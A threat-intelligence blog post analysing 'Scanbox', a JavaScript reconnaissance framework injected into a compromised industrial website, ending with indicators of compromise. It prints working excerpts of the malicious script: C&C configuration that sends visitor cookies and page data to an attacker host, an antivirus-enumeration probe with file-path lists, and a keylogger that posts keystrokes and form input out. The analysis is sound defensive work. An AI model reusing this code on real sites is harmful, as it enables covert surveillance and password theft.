Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks

A few days ago we detected a watering hole campaign in a website owned by one big industrial company.

The website is related to software used for simulation and system engineering in a wide range of industries, including automotive, aerospace, and manufacturing.

The attackers were able to compromise the website and include code that loaded a malicious Javascript file from a remote server. This Javascript file is a framework for reconnaissance that the attackers call "Scanbox" and includes some of the techniques we described in a previous blog post: Attackers abusing Internet Explorer to enumerate software and detect security products

The Scanbox framework first configures the remote C&C server that it will use and collects a small amount of information about the victim that is visiting the compromised website including:

- Referer
- User-Agent
- Location
- Cookie
- Title (To identify specific content that the victim is visiting)
- Domain
- Charset
- Screen width and height
- Operating System
- Language

Resulting in something like this:

```
scanbox.basicposturl = "http://mail.webmailgoogle.com:8087/i/recv.php";
scanbox.basicliveurl = "http://mail.webmailgoogle.com:8087/i/s.php";
scanbox.basicplguinurl = "http://mail.webmailgoogle.com:8087/i/p.php";
scanbox.basicposturlkeylogs = "http://mail.webmailgoogle.com:8087/i/k.php";
scanbox.info = {};
scanbox.info.projectid = "1";
scanbox.info.seed = setRecordid();
scanbox.info.ip = "176.10.100.226";
scanbox.info.referrer = document.referrer;
scanbox.info.agent = navigator.userAgent;
scanbox.info.location = window.location.href;
scanbox.info.toplocation = top.location.href;
scanbox.info.cookie = document.cookie;
scanbox.info.title = document.title;
scanbox.info.domain = document.domain;
scanbox.info.charset = document.characterSet ? document.characterSet : document.charset;
```

Before sending the information to the C&C server, Scanbox encodes and encrypts the data with the following function:

```
scanbox.crypt = {

    _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

    encode: function(input) {
        var output = "";
        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
        var i = 0;

        input = scanbox.crypt._utf8_encode(input);

        while (i < input.length) {

            chr1 = input.charCodeAt(i++);
            chr2 = input.charCodeAt(i++);
            chr3 = input.charCodeAt(i++);

            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;

            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }

            output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);

        }

        return output;
    },
```

Producing the following request:

```
POST /i/recv.php HTTP/1.1
Host: xxx
Connection: keep-alive
Content-Length: 606
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://162.243.153.95
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Content-Type: application/x-www-form-urlencoded
Referer: http://xxxx/
Accept-Encoding: gzip,deflate
Accept-Language: es-ES,es;q=0.8,en;q=0.6
Cookie: csrftoken=r5ds8Dwca9xdfzv4m6VHnyjyaifFU6vZ; recordid=46471409250779170

projectid=MQ%3D%3D&seed=NDY0NzE0MDkyNTA3NzkxNzA%3D&ip=MTc2LjEwLjEwMC4yMjY%3D&referrer=
&agent=TW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIfggMTBfOV8yK58BcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKS8DaHJvbWUvMzcuMC4yMDYyLjk0IFNhZmFyaS81MzcuMzY%3D
&location=aHR0cDovLzE2Mi4yNDMuMTUzLjk1L3Rlc3QuaHRtbA%3D%3D&toplocation=aHR0cDovLzE2Mi4yNDMuMTUzLjk1L3Rlc3QuaHRtbA%3D%3D
&cookie=Y3NyZnRva2VuPXJTZHNCRHdjYTl4ZGZ6djRtNlZIbnlqeWFpZkZVNnZaOyByZWNvcmRpZD00NjQ3MTQwOTI1MDc3OTE3MA%3D%3D
&title=&domain=MTYyLjI0My4xNTMuOTU%3D&charset=SVNPLTg4NTktMQ%3D%3D&screen=MTQ0MHg5MDA%3D&platform=TWFjSW50ZWw%3D&lang=ZXM%3DÚuÿSI
```

If we decrypt the data it translates to:

```
projectid=1&seed=9449140925160940&ip=176.10.100.226&referrer=
&agent=Mozilla%2F4.0+%28compatible%3B+MSIE+8.0%3B+Windows+NT+6.1%3B+WOW64%3B+Trident%2F4.0%3B+SLCC2%3B+.NET+CLR+2.0.50727%3B+.NET+CLR+3.5.30729%3B+.NET+CLR+3.0.30729%3B+Media+Center+PC+6.0%29
&location=&toplocation=&cookie=recordid%3D9449140925160940&title=&domain=xxx&charset=windows-1252&screen=3850x2012&platform=Win32&lang=en-us
```

After the first request, the framework contains several plugins to extract different information from the victim.

Pluginid 1: Enumerates software installed in the system using the technique we explained before that affects Internet Explorer. It also checks if the system is running different versions of EMET (Enhanced Mitigation Experience Toolkit):

```
var templateString = "<" + "?xml version=\"1.0\" ?><!DOCTYPE anything SYSTEM \"$target$\">";

        function validateXML(txt, _isDebugMode) {
            var result = RESULTS.UNKNOWN;
            if (window.ActiveXObject) {
                var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
                xmlDoc.async = true;
                try {
                    xmlDoc.loadXML(txt);
                    if (xmlDoc.parseError.errorCode != 0) {
                        var err;
                        err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
                        err += "Error Reason: " + xmlDoc.parseError.reason;
                        err += "Error Line: " + xmlDoc.parseError.line;
                        var errReason = err;


                        if (errReason.indexOf("-2147023083") > 0) {
                            result = RESULTS.FILEFOUND;
                        }
                    }
                } catch (e) {
                    result = RESULTS.UNKNOWN;
                }
            } else {
                result = RESULTS.UNKNOWN;
            }
            result.data = "";
            return result;
        }
```

Producing the list of security software on the target

```
softwarelist.push("avira==c:\\WINDOWS\\system32\\drivers\\avipbb.sys");
softwarelist.push("bitdefender_2013==c:\\Program Files\\Bitdefender\\Bitdefender 2013 BETA\\BdProvider.dll");
softwarelist.push("bitdefender_2013==c:\\Program Files\\Bitdefender\\Bitdefender 2013 BETA\\Active Virus Control\\avc3_000_001\\avcuf32.dll");
softwarelist.push("mcafee_enterprise==c:\\Program Files\\McAfee\\VirusScan Enterprise\\RES0402\\McShield.dll");
softwarelist.push("mcafee_enterprise==c:\\Program Files\\Common Files\\McAfee\\SystemCore\\mytilus3.dll");
softwarelist.push("mcafee_enterprise==c:\\Program Files\\Common Files\\McAfee\\SystemCore\\mytilus3_worker.dll");
softwarelist.push("avg2012==c:\\Program Files\\AVG Secure Search\\13.2.0.4\\AVG Secure Search_toolbar.dll");
softwarelist.push("avg2012==c:\\Program Files\\Common Files\\AVG Secure Search\\DNTInstaller\\13.2.0\\avgdttbx.dll");
softwarelist.push("avg2012==c:\\WINDOWS\\system32\\drivers\\avgtpx86.sys");
softwarelist.push("eset_nod32==c:\\WINDOWS\\system32\\drivers\\eamon.sys");
softwarelist.push("Dr.Web==c:\\Program Files\\DrWeb\\drwebsp.dll");
softwarelist.push("Mse==c:\\WINDOWS\\system32\\drivers\\MpFilter.sys");
softwarelist.push("sophos==c:\\PROGRA~1\\Sophos\\SOPHOS~1\\SOPHOS~1.DLL");
softwarelist.push("f-secure2011==c:\\program files\\f-secure\\scanner-interface\\fsgkiapi.dll");
softwarelist.push("f-secure2011==c:\\Program Files\\F-Secure\\FSPS\\program\\FSLSP.DLL");
softwarelist.push("f-secure2011==c:\\program files\\f-secure\\hips\\fshook32.dll");
softwarelist.push("Kaspersky_2012==c:\\Program Files\\Kaspersky Lab\\Kaspersky Anti-Virus 2012\\klwtblc.dll");
softwarelist.push("Kaspersky_2012==c:\\WINDOWS\\system32\\drivers\\klif.sys");
softwarelist.push("Kaspersky_2013==c:\\Program Files\\Kaspersky Lab\\Kaspersky Anti-Virus 2013\\remote_eka_prague_loader.dll");
softwarelist.push("Kaspersky_2013==c:\\Program Files\\Kaspersky Lab\\Kaspersky Anti-Virus 2013\\klwtblc.dll");
softwarelist.push("Kaspersky_2013==c:\\WINDOWS\\system32\\drivers\\kneps.sys");
softwarelist.push("Kaspersky_2013==c:\\WINDOWS\\system32\\drivers\\klflt.sys");
```

```
softwarelist.push("F-PROT==C:\\Program Files\\FRISK Software\\F-PROT Antivirus for Windows\\FPWin.exe");
softwarelist.push("F-PROT==C:\\WINDOWS\\system32\\drivers\\FStopW.sys");
softwarelist.push("ESET-SMART==C:\\Program Files\\ESET\\ESET Smart Security\\egui.exe");
softwarelist.push("ESET-SMART==C:\\WINDOWS\\system32\\drivers\\eamon.sys");
softwarelist.push("Kaspersky_Endpoint_Security_8==C:\\Program Files\\Kaspersky Lab\\Kaspersky Endpoint Security 8 for Windows\\avp.exe");
softwarelist.push("Norman==C:\\Program Files\\Norman\\Nse\\Bin\\nse.exe");
softwarelist.push("Norman==C:\\WINDOWS\\system32\\drivers\\nvcw3Zmf.sys");
softwarelist.push("Sunbelt==C:\\Program Files\\Sunbelt Software\\Personal Firewall\\cfgconv.exe");
softwarelist.push("QuickHeal==C:\\Program Files\\Quick Heal\\Quick Heal Total Security\\ARKIT.EXE");
softwarelist.push("QuickHeal==C:\\WINDOWS\\system32\\drivers\\catflt.sys");
softwarelist.push("Immunet==C:\\Program Files\\Immunet\\ips.exe");
softwarelist.push("Immunet==C:\\WINDOWS\\system32\\drivers\\ImmunetProtect.sys");
softwarelist.push("JiangMin==C:\\Program Files\\JiangMin\\AntiVirus\\KVPopup.exe");
softwarelist.push("JiangMin==C:\\WINDOWS\\system32\\drivers\\SysGuard.sys");
softwarelist.push("PC_Tools==C:\\Program Files\\PC Tools Antivirus Software\\pctsGui.exe");
softwarelist.push("Rising_firewall==C:\\Program Files\\Rising\\RFW\\RavMonD.exe");
softwarelist.push("Rising_firewall==C:\\WINDOWS\\system32\\drivers\\protreg.sys");
softwarelist.push("BkavHome==C:\\Program Files\\BkavHome\\Bka.exe");
softwarelist.push("BkavHome==C:\\WINDOWS\\system32\\drivers\\BkavAuto.sys");
softwarelist.push("SUPERAntiSpyware==C:\\Program Files\\SUPERAntiSpyware\\SUPERAntiSpyware.exe");
softwarelist.push("Rising==C:\\Program Files\\Rising\\RIS\\LangSel.exe");
softwarelist.push("Rising==C:\\WINDOWS\\system32\\drivers\\HookHelp.sys");
softwarelist.push("Symantec_Endpoint12==C:\\Program Files\\Symantec\\Symantec Endpoint Protection\\DoScan.exe");
softwarelist.push("eScan==C:\\Program Files\\eScan\\shortcut.exe");
softwarelist.push("eScan==C:\\WINDOWS\\system32\\drivers\\econceal.sys");
softwarelist.push("Bit9==C:\\Windows\\System32\\drivers\\Parity.sys");
softwarelist.push("emet4.1==C:\\Program Files (x86)\\EMET 4.1\\EMET.dll");
softwarelist.push("emet4.1==C:\\Program Files\\EMET 4.1\\EMET.dll");
softwarelist.push("emet4.1==d:\\Program Files\\EMET 4.1\\EMET.dll");
softwarelist.push("emet4.1==D:\\Program Files (x86)\\EMET 4.1\\EMET.dll");
softwarelist.push("emet5.0==C:\\Program Files (x86)\\EMET 5.0\\EMET.dll");
softwarelist.push("emet5.0==C:\\Program Files\\EMET 5.0\\EMET.dll");
softwarelist.push("emet5.0==d:\\Program Files (x86)\\EMET 5.0\\EMET.dll");
softwarelist.push("emet5.0==d:\\Program FilesEMET 5.0\\EMET.dll");
```

Pluginid 2: Enumerates Adobe Flash versions

Pluginid 5: Enumerates Microsoft Office versions

Pluginid 6: Enumerates Acrobat Reader versions

Pluginid 8: Enumerates Java versions

Pluginid 21: Implements a “keylogger” functionality trough Javascript that logs all the keystrokes the victim is typing inside the compromised website.

```
var logger = "";
keyDown = function(e) {
    var e = e || event;
    var currKey = e.keyCode || e.which || e.charCode;
    if ((currKey > 7 && currKey < 32) || (currKey > 31 && currKey < 47)) {
        switch (currKey) {
        case 8:
            keyName = "[Back]";
            break;
        case 9:
            keyName = "[Tab]";
            break;
        case 13:
            keyName = "[Enter]";
            break;
        case 16:
            keyName = "[shift]";
            break;
        case 17:
            keyName = "[Ctrl]";
            break;
        case 18:
            keyName = "[Alt]";
            break;
        case 20:
            keyName = "[Low-up]";
            break;
        case 32:
            keyName = " ";
            break;
```

```
formSubmit = function() {
    sendChar();
}
document.onkeydown = keyDown;
document.onkeypress = keyPress;
document.onsubmit = formSubmit;
setInterval(sendChar, 5000);

return;
```

While the user is browsing the compromised website, all keystrokes are being recorded and sent to the C&C periodically. It will also send keystrokes when the user submits web forms that can potentially include passwords and other sensitive data.

As we have seen, this is a very powerful framework that gives attackers a lot of insight into the potential targets that will help them launching future attacks against them.

We have also seen several Metasploit-produced exploits that target different versions of Java in the same IP address that hosts the Scanbox framework (122.10.9[.]109).

We recommend you look for this type of activity against the following machines in your network:

- mail[.]webmailgoogle.com
- js[.]webmailgoogle.com
- 122[.]10.9.109